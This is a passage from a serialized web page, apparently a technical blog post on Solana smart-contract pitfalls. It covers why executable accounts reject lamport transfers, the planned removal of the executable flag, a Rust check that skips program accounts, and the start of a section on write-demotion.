lamports",{"type":25,"tag":271,"props":86318,"children":86319},{"style":13603},[86320],{"type":30,"value":21839},{"type":25,"tag":271,"props":86322,"children":86323},{"style":14289},[86324],{"type":30,"value":26918},{"type":25,"tag":271,"props":86326,"children":86327},{"style":13603},[86328],{"type":30,"value":1860},{"type":25,"tag":271,"props":86330,"children":86331},{"style":13620},[86332],{"type":30,"value":86333},"get_lamports",{"type":25,"tag":271,"props":86335,"children":86336},{"style":13625},[86337],{"type":30,"value":28858},{"type":25,"tag":271,"props":86339,"children":86340},{"class":13593,"line":16406},[86341,86345,86349,86353,86357,86361,86366],{"type":25,"tag":271,"props":86342,"children":86343},{"style":16171},[86344],{"type":30,"value":28866},{"type":25,"tag":271,"props":86346,"children":86347},{"style":13609},[86348],{"type":30,"value":28871},{"type":25,"tag":271,"props":86350,"children":86351},{"style":13625},[86352],{"type":30,"value":394},{"type":25,"tag":271,"props":86354,"children":86355},{"style":13609},[86356],{"type":30,"value":28880},{"type":25,"tag":271,"props":86358,"children":86359},{"style":13603},[86360],{"type":30,"value":13617},{"type":25,"tag":271,"props":86362,"children":86363},{"style":13609},[86364],{"type":30,"value":86365},"ExternalAccountLamportSpend",{"type":25,"tag":271,"props":86367,"children":86368},{"style":13625},[86369],{"type":30,"value":13665},{"type":25,"tag":271,"props":86371,"children":86372},{"class":13593,"line":16434},[86373],{"type":25,"tag":271,"props":86374,"children":86375},{"style":13625},[86376],{"type":30,"value":16501},{"type":25,"tag":271,"props":86378,"children":86379},{"class":13593,"line":16447},[86380],{"type":25,"tag":271,"props":86381,"children":86382},{"style":14385},[86383],{"type":30,"value":86384},"    // The balance of read-only may not change\n",{"type":25,"tag":271,"props":86386,"children":86387},{"class":13593,"line":16465},[86388,86392,86396,86400,86404,86409],{"type":25,"tag":271,"props":86389,"children":86390},{"style":16171},[86391],{"type":30,"value":25404},{"type":25,"tag":271,"props":86393,"children":86394},{"style":13603},[86395],{"type":30,"value":25989},{"type":25,"tag":271,"props":86397,"children":86398},{"style":14289},[86399],{"type":30,"value":26836},{"type":25,"tag":271,"props":86401,"children":86402},{"style":13603},[86403],{"type":30,"value":1860},{"type":25,"tag":271,"props":86405,"children":86406},{"style":13620},[86407],{"type":30,"value":86408},"is_writable",{"type":25,"tag":271,"props":86410,"children":86411},{"style":13625},[86412],{"type":30,"value":28858},{"type":25,"tag":271,"props":86414,"children":86415},{"class":13593,"line":16486},[86416,86420,86424,86428,86432,86436,86441],{"type":25,"tag":271,"props":86417,"children":86418},{"style":16171},[86419],{"type":30,"value":28866},{"type":25,"tag":271,"props":86421,"children":86422},{"style":13609},[86423],{"type":30,"value":28871},{"type":25,"tag":271,"props":86425,"children":86426},{"style":13625},[86427],{"type":30,"value":394},{"type":25,"tag":271,"props":86429,"children":86430},{"style":13609},[86431],{"type":30,"value":28880},{"type":25,"tag":271,"props":86433,"children":86434},{"style":13603},[86435],{"type":30,"value":13617},{"type":25,"tag":271,"props":86437,"children":86438},{"style":13609},[86439],{"type":30,"value":86440},"ReadonlyLamportChange",{"type":25,"tag":271,"props":86442,"children":86443},{"style":13625},[86444],{"type":30,"value":13665},{"type":25,"tag":271,"props":86446,"children":86447},{"class":13593,"line":16495},[86448],{"type":25,"tag":271,"props":86449,"children":86450},{"style":13625},[86451],{"type":30,"value":16501},{"type":25,"tag":271,"props":86453,"children":86454},{"class":13593,"line":16744},[86455],{"type":25,"tag":271,"props":86456,"children":86457},{"style":14385},[86458],{"type":30,"value":86459},"    // The balance of executable accounts may not change\n",{"type":25,"tag":271,"props":86461,"children":86462},{"class":13593,"line":16761},[86463,86467,86471,86475,86480],{"type":25,"tag":271,"props":86464,"children":86465},{"style":16171},[86466],{"type":30,"value":25404},{"type":25,"tag":271,"props":86468,"children":86469},{"style":14289},[86470],{"type":30,"value":26918},{"type":25,"tag":271,"props":86472,"children":86473},{"style":13603},[86474],{"type":30,"value":1860},{"type":25,"tag":271,"props":86476,"children":86477},{"style":13620},[86478],{"type":30,"value":86479},"is_executable_internal",{"type":25,"tag":271,"props":86481,"children":86482},{"style":13625},[86483],{"type":30,"value":28858},{"type":25,"tag":271,"props":86485,"children":86486},{"class":13593,"line":16778},[86487,86491,86495,86499,86503,86507,86512],{"type":25,"tag":271,"props":86488,"children":86489},{"style":16171},[86490],{"type":30,"value":28866},{"type":25,"tag":271,"props":86492,"children":86493},{"style":13609},[86494],{"type":30,"value":28871},{"type":25,"tag":271,"props":86496,"children":86497},{"style":13625},[86498],{"type":30,"value":394},{"type":25,"tag":271,"props":86500,"children":86501},{"style":13609},[86502],{"type":30,"value":28880},{"type":25,"tag":271,"props":86504,"children":86505},{"style":13603},[86506],{"type":30,"value":13617},{"type":25,"tag":271,"props":86508,"children":86509},{"style":13609},[86510],{"type":30,"value":86511},"ExecutableLamportChange",{"type":25,"tag":271,"props":86513,"children":86514},{"style":13625},[86515],{"type":30,"value":13665},{"type":25,"tag":271,"props":86517,"children":86518},{"class":13593,"line":16791},[86519],{"type":25,"tag":271,"props":86520,"children":86521},{"style":13625},[86522],{"type":30,"value":16501},{"type":25,"tag":271,"props":86524,"children":86525},{"class":13593,"line":16800},[86526],{"type":25,"tag":271,"props":86527,"children":86528},{"style":14385},[86529],{"type":30,"value":86530},"    // don't touch the account if the lamports do not change\n",{"type":25,"tag":271,"props":86532,"children":86533},{"class":13593,"line":16823},[86534,86538,86542,86546,86550,86554,86558,86562],{"type":25,"tag":271,"props":86535,"children":86536},{"style":16171},[86537],{"type":30,"value":25404},{"type":25,"tag":271,"props":86539,"children":86540},{"style":14289},[86541],{"type":30,"value":26918},{"type":25,"tag":271,"props":86543,"children":86544},{"style":13603},[86545],{"type":30,"value":1860},{"type":25,"tag":271,"props":86547,"children":86548},{"style":13620},[86549],{"type":30,"value":86333},{"type":25,"tag":271,"props":86551,"children":86552},{"style":13625},[86553],{"type":30,"value":27164},{"type":25,"tag":271,"props":86555,"children":86556},{"style":13603},[86557],{"type":30,"value":21696},{"type":25,"tag":271,"props":86559,"children":86560},{"style":13598},[86561],{"type":30,"value":86316},{"type":25,"tag":271,"props":86563,"children":86564},{"style":13625},[86565],{"type":30,"value":16431},{"type":25,"tag":271,"props":86567,"children":86568},{"class":13593,"line":16832},[86569,86573,86577],{"type":25,"tag":271,"props":86570,"children":86571},{"style":16171},[86572],{"type":30,"value":28866},{"type":25,"tag":271,"props":86574,"children":86575},{"style":13609},[86576],{"type":30,"value":56049},{"type":25,"tag":271,"props":86578,"children":86579},{"style":13625},[86580],{"type":30,"value":86581},"(());\n",{"type":25,"tag":271,"props":86583,"children":86584},{"class":13593,"line":16841},[86585],{"type":25,"tag":271,"props":86586,"children":86587},{"style":13625},[86588],{"type":30,"value":16501},{"type":25,"tag":271,"props":86590,"children":86591},{"class":13593,"line":16907},[86592,86596,86600,86605,86609,86613],{"type":25,"tag":271,"props":86593,"children":86594},{"style":14289},[86595],{"type":30,"value":33906},{"type":25,"tag":271,"props":86597,"children":86598},{"style":13603},[86599],{"type":30,"value":1860},{"type":25,"tag":271,"props":86601,"children":86602},{"style":13620},[86603],{"type":30,"value":86604},"touch",{"type":25,"tag":271,"props":86606,"children":86607},{"style":13625},[86608],{"type":30,"value":27000},{"type":25,"tag":271,"props":86610,"children":86611},{"style":13603},[86612],{"type":30,"value":5632},{"type":25,"tag":271,"props":86614,"children":86615},{"style":13625},[86616],{"type":30,"value":16165},{"type":25,"tag":271,"props":86618,"children":86619},{"class":13593,"line":16915},[86620,86624,86628,86632,86636,86640,86644,86648],{"type":25,"tag":271,"props":86621,"children":86622},{"style":14289},[86623],{"type":30,"value":33906},{"type":25,"tag":271,"props":86625,"children":86626},{"style":13603},[86627],{"type":30,"value":1860},{"type":25,"tag":271,"props":86629,"children":86630},{"style":13625},[86631],{"type":30,"value":26078},{"type":25,"tag":271,"props":86633,"children":86634},{"style":13603},[86635],{"type":30,"value":1860},{"type":25,"tag":271,"props":86637,"children":86638},{"style":13620},[86639],{"type":30,"value":86147},{"type":25,"tag":271,"props":86641,"children":86642},{"style":13625},[86643],{"type":30,"value":394},{"type":25,"tag":271,"props":86645,"children":86646},{"style":13598},[86647],{"type":30,"value":28633},{"type":25,"tag":271,"props":86649,"children":86650},{"style":13625},[86651],{"type":30,"value":13665},{"type":25,"tag":271,"props":86653,"children":86654},{"class":13593,"line":16945},[86655,86659],{"type":25,"tag":271,"props":86656,"children":86657},{"style":13609},[86658],{"type":30,"value":27454},{"type":25,"tag":271,"props":86660,"children":86661},{"style":13625},[86662],{"type":30,"value":27459},{"type":25,"tag":271,"props":86664,"children":86665},{"class":13593,"line":16953},[86666],{"type":25,"tag":271,"props":86667,"children":86668},{"style":13625},[86669],{"type":30,"value":17058},{"type":25,"tag":271,"props":86671,"children":86672},{"class":13593,"line":16984},[86673],{"type":25,"tag":271,"props":86674,"children":86675},{"emptyLinePlaceholder":18},[86676],{"type":30,"value":16829},{"type":25,"tag":271,"props":86678,"children":86679},{"class":13593,"line":16992},[86680],{"type":25,"tag":271,"props":86681,"children":86682},{"style":14385},[86683],{"type":30,"value":86684},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":25,"tag":271,"props":86686,"children":86687},{"class":13593,"line":17052},[86688,86692,86696,86700],{"type":25,"tag":271,"props":86689,"children":86690},{"style":13625},[86691],{"type":30,"value":86185},{"type":25,"tag":271,"props":86693,"children":86694},{"style":13603},[86695],{"type":30,"value":1065},{"type":25,"tag":271,"props":86697,"children":86698},{"style":17388},[86699],{"type":30,"value":86194},{"type":25,"tag":271,"props":86701,"children":86702},{"style":13625},[86703],{"type":30,"value":33729},{"type":25,"tag":271,"props":86705,"children":86706},{"class":13593,"line":22168},[86707],{"type":25,"tag":271,"props":86708,"children":86709},{"style":13625},[86710],{"type":30,"value":86711},"#[inline]\n",{"type":25,"tag":271,"props":86713,"children":86714},{"class":13593,"line":22186},[86715,86719,86724,86728,86732,86736,86740,86744,86748],{"type":25,"tag":271,"props":86716,"children":86717},{"style":14289},[86718],{"type":30,"value":33387},{"type":25,"tag":271,"props":86720,"children":86721},{"style":13620},[86722],{"type":30,"value":86723}," is_executable_internal",{"type":25,"tag":271,"props":86725,"children":86726},{"style":13625},[86727],{"type":30,"value":394},{"type":25,"tag":271,"props":86729,"children":86730},{"style":13603},[86731],{"type":30,"value":13632},{"type":25,"tag":271,"props":86733,"children":86734},{"style":14289},[86735],{"type":30,"value":26836},{"type":25,"tag":271,"props":86737,"children":86738},{"style":13625},[86739],{"type":30,"value":14406},{"type":25,"tag":271,"props":86741,"children":86742},{"style":13603},[86743],{"type":30,"value":14411},{"type":25,"tag":271,"props":86745,"children":86746},{"style":13609},[86747],{"type":30,"value":25175},{"type":25,"tag":271,"props":86749,"children":86750},{"style":13625},[86751],{"type":30,"value":16431},{"type":25,"tag":271,"props":86753,"children":86754},{"class":13593,"line":22231},[86755,86759],{"type":25,"tag":271,"props":86756,"children":86757},{"style":13603},[86758],{"type":30,"value":34090},{"type":25,"tag":271,"props":86760,"children":86761},{"style":14289},[86762],{"type":30,"value":86763},"self\n",{"type":25,"tag":271,"props":86765,"children":86766},{"class":13593,"line":22337},[86767,86771],{"type":25,"tag":271,"props":86768,"children":86769},{"style":13603},[86770],{"type":30,"value":81374},{"type":25,"tag":271,"props":86772,"children":86773},{"style":13625},[86774],{"type":30,"value":86775},"transaction_context\n",{"type":25,"tag":271,"props":86777,"children":86778},{"class":13593,"line":36608},[86779,86783],{"type":25,"tag":271,"props":86780,"children":86781},{"style":13603},[86782],{"type":30,"value":81374},{"type":25,"tag":271,"props":86784,"children":86785},{"style":13625},[86786],{"type":30,"value":86787},"remove_accounts_executable_flag_checks\n",{"type":25,"tag":271,"props":86789,"children":86790},{"class":13593,"line":36643},[86791,86795,86799,86803,86807,86811,86815],{"type":25,"tag":271,"props":86792,"children":86793},{"style":13603},[86794],{"type":30,"value":55913},{"type":25,"tag":271,"props":86796,"children":86797},{"style":14289},[86798],{"type":30,"value":26918},{"type":25,"tag":271,"props":86800,"children":86801},{"style":13603},[86802],{"type":30,"value":1860},{"type":25,"tag":271,"props":86804,"children":86805},{"style":13625},[86806],{"type":30,"value":26078},{"type":25,"tag":271,"props":86808,"children":86809},{"style":13603},[86810],{"type":30,"value":1860},{"type":25,"tag":271,"props":86812,"children":86813},{"style":13620},[86814],{"type":30,"value":28777},{"type":25,"tag":271,"props":86816,"children":86817},{"style":13625},[86818],{"type":30,"value":20857},{"type":25,"tag":271,"props":86820,"children":86821},{"class":13593,"line":36651},[86822],{"type":25,"tag":271,"props":86823,"children":86824},{"style":13625},[86825],{"type":30,"value":17058},{"type":25,"tag":26,"props":86827,"children":86828},{},[86829],{"type":30,"value":86830},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":25,"tag":26,"props":86832,"children":86833},{},[86834,86836,86841],{"type":30,"value":86835},"Specifically, ",{"type":25,"tag":38,"props":86837,"children":86838},{},[86839],{"type":30,"value":86840},"executable accounts",{"type":30,"value":86842}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":25,"tag":2352,"props":86844,"children":86846},{"id":86845},"sidebar-whats-the-executable-flag-anyway",[86847],{"type":30,"value":86848},"Sidebar: What's the executable Flag Anyway?",{"type":25,"tag":26,"props":86850,"children":86851},{},[86852,86853,86858],{"type":30,"value":10272},{"type":25,"tag":264,"props":86854,"children":86856},{"className":86855},[],[86857],{"type":30,"value":28777},{"type":30,"value":86859}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":25,"tag":26,"props":86861,"children":86862},{},[86863,86865,86870],{"type":30,"value":86864},"This behavior became problematic with the introduction of the ",{"type":25,"tag":38,"props":86866,"children":86867},{},[86868],{"type":30,"value":86869},"Upgradeable BPF Loader",{"type":30,"value":86871},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":25,"tag":7764,"props":86873,"children":86875},{"className":13586,"code":86874,"language":13585,"meta":7,"style":7},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's data.\n},\n",[86876],{"type":25,"tag":264,"props":86877,"children":86878},{"__ignoreMap":7},[86879,86891,86899,86919,86927,86939,86947,86967,86975,87003,87011,87019],{"type":25,"tag":271,"props":86880,"children":86881},{"class":13593,"line":13594},[86882,86887],{"type":25,"tag":271,"props":86883,"children":86884},{"style":13609},[86885],{"type":30,"value":86886},"Program",{"type":25,"tag":271,"props":86888,"children":86889},{"style":13625},[86890],{"type":30,"value":16431},{"type":25,"tag":271,"props":86892,"children":86893},{"class":13593,"line":11641},[86894],{"type":25,"tag":271,"props":86895,"children":86896},{"style":14385},[86897],{"type":30,"value":86898},"    /// Address of the ProgramData account.\n",{"type":25,"tag":271,"props":86900,"children":86901},{"class":13593,"line":14354},[86902,86907,86911,86915],{"type":25,"tag":271,"props":86903,"children":86904},{"style":13598},[86905],{"type":30,"value":86906},"    programdata_address",{"type":25,"tag":271,"props":86908,"children":86909},{"style":13603},[86910],{"type":30,"value":359},{"type":25,"tag":271,"props":86912,"children":86913},{"style":13609},[86914],{"type":30,"value":33977},{"type":25,"tag":271,"props":86916,"children":86917},{"style":13625},[86918],{"type":30,"value":14351},{"type":25,"tag":271,"props":86920,"children":86921},{"class":13593,"line":14391},[86922],{"type":25,"tag":271,"props":86923,"children":86924},{"style":13625},[86925],{"type":30,"value":86926},"},\n",{"type":25,"tag":271,"props":86928,"children":86929},{"class":13593,"line":14400},[86930,86935],{"type":25,"tag":271,"props":86931,"children":86932},{"style":13609},[86933],{"type":30,"value":86934},"ProgramData",{"type":25,"tag":271,"props":86936,"children":86937},{"style":13625},[86938],{"type":30,"value":16431},{"type":25,"tag":271,"props":86940,"children":86941},{"class":13593,"line":16406},[86942],{"type":25,"tag":271,"props":86943,"children":86944},{"style":14385},[86945],{"type":30,"value":86946},"    /// Slot that the program was last modified.\n",{"type":25,"tag":271,"props":86948,"children":86949},{"class":13593,"line":16434},[86950,86955,86959,86963],{"type":25,"tag":271,"props":86951,"children":86952},{"style":13598},[86953],{"type":30,"value":86954},"    slot",{"type":25,"tag":271,"props":86956,"children":86957},{"style":13603},[86958],{"type":30,"value":359},{"type":25,"tag":271,"props":86960,"children":86961},{"style":13609},[86962],{"type":30,"value":18991},{"type":25,"tag":271,"props":86964,"children":86965},{"style":13625},[86966],{"type":30,"value":14351},{"type":25,"tag":271,"props":86968,"children":86969},{"class":13593,"line":16447},[86970],{"type":25,"tag":271,"props":86971,"children":86972},{"style":14385},[86973],{"type":30,"value":86974},"    /// Address of the Program's upgrade authority.\n",{"type":25,"tag":271,"props":86976,"children":86977},{"class":13593,"line":16465},[86978,86983,86987,86991,86995,86999],{"type":25,"tag":271,"props":86979,"children":86980},{"style":13598},[86981],{"type":30,"value":86982},"    upgrade_authority_address",{"type":25,"tag":271,"props":86984,"children":86985},{"style":13603},[86986],{"type":30,"value":359},{"type":25,"tag":271,"props":86988,"children":86989},{"style":13609},[86990],{"type":30,"value":40756},{"type":25,"tag":271,"props":86992,"children":86993},{"style":13625},[86994],{"type":30,"value":14307},{"type":25,"tag":271,"props":86996,"children":86997},{"style":13609},[86998],{"type":30,"value":34518},{"type":25,"tag":271,"props":87000,"children":87001},{"style":13625},[87002],{"type":30,"value":19267},{"type":25,"tag":271,"props":87004,"children":87005},{"class":13593,"line":16486},[87006],{"type":25,"tag":271,"props":87007,"children":87008},{"style":14385},[87009],{"type":30,"value":87010},"    // The raw program data follows this serialized structure in the\n",{"type":25,"tag":271,"props":87012,"children":87013},{"class":13593,"line":16495},[87014],{"type":25,"tag":271,"props":87015,"children":87016},{"style":14385},[87017],{"type":30,"value":87018},"    // account's data.\n",{"type":25,"tag":271,"props":87020,"children":87021},{"class":13593,"line":16744},[87022],{"type":25,"tag":271,"props":87023,"children":87024},{"style":13625},[87025],{"type":30,"value":86926},{"type":25,"tag":26,"props":87027,"children":87028},{},[87029,87031,87038],{"type":30,"value":87030},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":25,"tag":83,"props":87032,"children":87035},{"href":87033,"rel":87034},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[9066],[87036],{"type":30,"value":87037},"SIMD-0162",{"type":30,"value":87039},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":25,"tag":26,"props":87041,"children":87042},{},[87043,87045,87050,87052,87057],{"type":30,"value":87044},"This change is also a ",{"type":25,"tag":38,"props":87046,"children":87047},{},[87048],{"type":30,"value":87049},"hard requirement for supporting the new loader-v4",{"type":30,"value":87051},". Unlike the upgradable loader, which relies on a separate ",{"type":25,"tag":264,"props":87053,"children":87055},{"className":87054},[],[87056],{"type":30,"value":86934},{"type":30,"value":87058}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":25,"tag":26,"props":87060,"children":87061},{},[87062,87064,87071,87073,87078],{"type":30,"value":87063},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":25,"tag":83,"props":87065,"children":87068},{"href":87066,"rel":87067},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[9066],[87069],{"type":30,"value":87070},"migrate",{"type":30,"value":87072}," from the upgradable loader to loader-v4 — without hitting the ",{"type":25,"tag":264,"props":87074,"children":87076},{"className":87075},[],[87077],{"type":30,"value":86511},{"type":30,"value":87079}," restriction.",{"type":25,"tag":2352,"props":87081,"children":87083},{"id":87082},"fix-2-reject-program-accounts",[87084],{"type":30,"value":87085},"Fix 2: Reject Program Accounts",{"type":25,"tag":26,"props":87087,"children":87088},{},[87089],{"type":30,"value":87090},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":25,"tag":7764,"props":87092,"children":87094},{"className":13586,"code":87093,"language":13585,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[87095],{"type":25,"tag":264,"props":87096,"children":87097},{"__ignoreMap":7},[87098,87174,87222,87238,87245,87284,87328,87352,87401,87429],{"type":25,"tag":271,"props":87099,"children":87100},{"class":13593,"line":13594},[87101,87105,87109,87114,87118,87122,87126,87130,87134,87138,87142,87146,87150,87154,87158,87162,87166,87170],{"type":25,"tag":271,"props":87102,"children":87103},{"style":14289},[87104],{"type":30,"value":14292},{"type":25,"tag":271,"props":87106,"children":87107},{"style":14289},[87108],{"type":30,"value":14297},{"type":25,"tag":271,"props":87110,"children":87111},{"style":13620},[87112],{"type":30,"value":87113}," can_transfer_lamports",{"type":25,"tag":271,"props":87115,"children":87116},{"style":13625},[87117],{"type":30,"value":394},{"type":25,"tag":271,"props":87119,"children":87120},{"style":13598},[87121],{"type":30,"value":26078},{"type":25,"tag":271,"props":87123,"children":87124},{"style":13603},[87125],{"type":30,"value":359},{"type":25,"tag":271,"props":87127,"children":87128},{"style":13603},[87129],{"type":30,"value":14341},{"type":25,"tag":271,"props":87131,"children":87132},{"style":13609},[87133],{"type":30,"value":28060},{"type":25,"tag":271,"props":87135,"children":87136},{"style":13625},[87137],{"type":30,"value":44},{"type":25,"tag":271,"props":87139,"children":87140},{"style":13598},[87141],{"type":30,"value":28633},{"type":25,"tag":271,"props":87143,"children":87144},{"style":13603},[87145],{"type":30,"value":359},{"type":25,"tag":271,"props":87147,"children":87148},{"style":13609},[87149],{"type":30,"value":18991},{"type":25,"tag":271,"props":87151,"children":87152},{"style":13625},[87153],{"type":30,"value":14406},{"type":25,"tag":271,"props":87155,"children":87156},{"style":13603},[87157],{"type":30,"value":14411},{"type":25,"tag":271,"props":87159,"children":87160},{"style":13609},[87161],{"type":30,"value":14416},{"type":25,"tag":271,"props":87163,"children":87164},{"style":13625},[87165],{"type":30,"value":14307},{"type":25,"tag":271,"props":87167,"children":87168},{"style":13609},[87169],{"type":30,"value":42798},{"type":25,"tag":271,"props":87171,"children":87172},{"style":13625},[87173],{"type":30,"value":20404},{"type":25,"tag":271,"props":87175,"children":87176},{"class":13593,"line":11641},[87177,87181,87186,87190,87194,87198,87202,87206,87210,87214,87218],{"type":25,"tag":271,"props":87178,"children":87179},{"style":14289},[87180],{"type":30,"value":33387},{"type":25,"tag":271,"props":87182,"children":87183},{"style":13620},[87184],{"type":30,"value":87185}," is_program",{"type":25,"tag":271,"props":87187,"children":87188},{"style":13625},[87189],{"type":30,"value":394},{"type":25,"tag":271,"props":87191,"children":87192},{"style":13598},[87193],{"type":30,"value":26078},{"type":25,"tag":271,"props":87195,"children":87196},{"style":13603},[87197],{"type":30,"value":359},{"type":25,"tag":271,"props":87199,"children":87200},{"style":13603},[87201],{"type":30,"value":14341},{"type":25,"tag":271,"props":87203,"children":87204},{"style":13609},[87205],{"type":30,"value":28060},{"type":25,"tag":271,"props":87207,"children":87208},{"style":13625},[87209],{"type":30,"value":14406},{"type":25,"tag":271,"props":87211,"children":87212},{"style":13603},[87213],{"type":30,"value":14411},{"type":25,"tag":271,"props":87215,"children":87216},{"style":13609},[87217],{"type":30,"value":25175},{"type":25,"tag":271,"props":87219,"children":87220},{"style":13625},[87221],{"type":30,"value":16431},{"type":25,"tag":271,"props":87223,"children":87224},{"class":13593,"line":14354},[87225,87229,87233],{"type":25,"tag":271,"props":87226,"children":87227},{"style":13598},[87228],{"type":30,"value":38281},{"type":25,"tag":271,"props":87230,"children":87231},{"style":13603},[87232],{"type":30,"value":1860},{"type":25,"tag":271,"props":87234,"children":87235},{"style":13625},[87236],{"type":30,"value":87237},"executable\n",{"type":25,"tag":271,"props":87239,"children":87240},{"class":13593,"line":14391},[87241],{"type":25,"tag":271,"props":87242,"children":87243},{"style":13625},[87244],{"type":30,"value":17058},{"type":25,"tag":271,"props":87246,"children":87247},{"class":13593,"line":14400},[87248,87252,87256,87260,87264,87268,87272,87276,87280],{"type":25,"tag":271,"props":87249,"children":87250},{"style":14289},[87251],{"type":30,"value":24912},{"type":25,"tag":271,"props":87253,"children":87254},{"style":13598},[87255],{"type":30,"value":86005},{"type":25,"tag":271,"props":87257,"children":87258},{"style":13603},[87259],{"type":30,"value":16155},{"type":25,"tag":271,"props":87261,"children":87262},{"style":13609},[87263],{"type":30,"value":56584},{"type":25,"tag":271,"props":87265,"children":87266},{"style":13603},[87267],{"type":30,"value":13617},{"type":25,"tag":271,"props":87269,"children":87270},{"style":13620},[87271],{"type":30,"value":29474},{"type":25,"tag":271,"props":87273,"children":87274},{"style":13625},[87275],{"type":30,"value":27000},{"type":25,"tag":271,"props":87277,"children":87278},{"style":13603},[87279],{"type":30,"value":5632},{"type":25,"tag":271,"props":87281,"children":87282},{"style":13625},[87283],{"type":30,"value":16165},{"type":25,"tag":271,"props":87285,"children":87286},{"class":13593,"line":16406},[87287,87291,87296,87300,87304,87308,87312,87316,87320,87324],{"type":25,"tag":271,"props":87288,"children":87289},{"style":14289},[87290],{"type":30,"value":24912},{"type":25,"tag":271,"props":87292,"children":87293},{"style":13598},[87294],{"type":30,"value":87295}," balance_after",{"type":25,"tag":271,"props":87297,"children":87298},{"style":13603},[87299],{"type":30,"value":16155},{"type":25,"tag":271,"props":87301,"children":87302},{"style":13598},[87303],{"type":30,"value":18613},{"type":25,"tag":271,"props":87305,"children":87306},{"style":13603},[87307],{"type":30,"value":1860},{"type":25,"tag":271,"props":87309,"children":87310},{"style":13620},[87311],{"type":30,"value":28633},{"type":25,"tag":271,"props":87313,"children":87314},{"style":13625},[87315],{"type":30,"value":27164},{"type":25,"tag":271,"props":87317,"children":87318},{"style":13603},[87319],{"type":30,"value":2074},{"type":25,"tag":271,"props":87321,"children":87322},{"style":13598},[87323],{"type":30,"value":86316},{"type":25,"tag":271,"props":87325,"children":87326},{"style":13625},[87327],{"type":30,"value":16165},{"type":25,"tag":271,"props":87329,"children":87330},{"class":13593,"line":16434},[87331,87335,87339,87343,87347],{"type":25,"tag":271,"props":87332,"children":87333},{"style":13609},[87334],{"type":30,"value":33610},{"type":25,"tag":271,"props":87336,"children":87337},{"style":13625},[87338],{"type":30,"value":394},{"type":25,"tag":271,"props":87340,"children":87341},{"style":13598},[87342],{"type":30,"value":26078},{"type":25,"tag":271,"props":87344,"children":87345},{"style":13603},[87346],{"type":30,"value":1860},{"type":25,"tag":271,"props":87348,"children":87349},{"style":13625},[87350],{"type":30,"value":87351},"is_writable\n",{"type":25,"tag":271,"props":87353,"children":87354},{"class":13593,"line":16447},[87355,87359,87363,87367,87372,87376,87381,87385,87389,87393,87397],{"type":25,"tag":271,"props":87356,"children":87357},{"style":13603},[87358],{"type":30,"value":28743},{"type":25,"tag":271,"props":87360,"children":87361},{"style":13598},[87362],{"type":30,"value":86005},{"type":25,"tag":271,"props":87364,"children":87365},{"style":13603},[87366],{"type":30,"value":1860},{"type":25,"tag":271,"props":87368,"children":87369},{"style":13620},[87370],{"type":30,"value":87371},"is_exempt",{"type":25,"tag":271,"props":87373,"children":87374},{"style":13625},[87375],{"type":30,"value":394},{"type":25,"tag":271,"props":87377,"children":87378},{"style":13598},[87379],{"type":30,"value":87380},"balance_after",{"type":25,"tag":271,"props":87382,"children":87383},{"style":13625},[87384],{"type":30,"value":44},{"type":25,"tag":271,"props":87386,"children":87387},{"style":13598},[87388],{"type":30,"value":26078},{"type":25,"tag":271,"props":87390,"children":87391},{"style":13603},[87392],{"type":30,"value":1860},{"type":25,"tag":271,"props":87394,"children":87395},{"style":13620},[87396],{"type":30,"value":26927},{"type":25,"tag":271,"props":87398,"children":87399},{"style":13625},[87400],{"type":30,"value":28782},{"type":25,"tag":271,"props":87402,"children":87403},{"class":13593,"line":16465},[87404,87408,87412,87417,87421,87425],{"type":25,"tag":271,"props":87405,"children":87406},{"style":13603},[87407],{"type":30,"value":28743},{"type":25,"tag":271,"props":87409,"children":87410},{"style":13603},[87411],{"type":30,"value":25989},{"type":25,"tag":271,"props":87413,"children":87414},{"style":13620},[87415],{"type":30,"value":87416},"is_program",{"type":25,"tag":271,"props":87418,"children":87419},{"style":13625},[87420],{"type":30,"value":394},{"type":25,"tag":271,"props":87422,"children":87423},{"style":13598},[87424],{"type":30,"value":26078},{"type":25,"tag":271,"props":87426,"children":87427},{"style":13625},[87428],{"type":30,"value":32833},{"type":25,"tag":271,"props":87430,"children":87431},{"class":13593,"line":16486},[87432],{"type":25,"tag":271,"props":87433,"children":87434},{"style":13625},[87435],{"type":30,"value":17058},{"type":25,"tag":26,"props":87437,"children":87438},{},[87439],{"type":30,"value":87440},"Now we’re safe...right?",{"type":25,"tag":247,"props":87442,"children":87444},{"id":87443},"bug-3-the-write-demotion-trap",[87445],{"type":30,"value":87446},"Bug 3: The Write-Demotion Trap",{"type":25,"tag":26,"props":87448,"children":87449},{},[87450,87452,87457,87459,87464],{"type":30,"value":87451},"On Solana, accounts passed as ",{"type":25,"tag":38,"props":87453,"children":87454},{},[87455],{"type":30,"value":87456},"writable",{"type":30,"value":87458}," in a transaction can be ",{"type":25,"tag":38,"props":87460,"children":87461},{},[87462],{"type":30,"value":87463},"silently downgraded to read-only",{"type":30,"value":87465},". This behavior occurs during message sanitization — even before your program 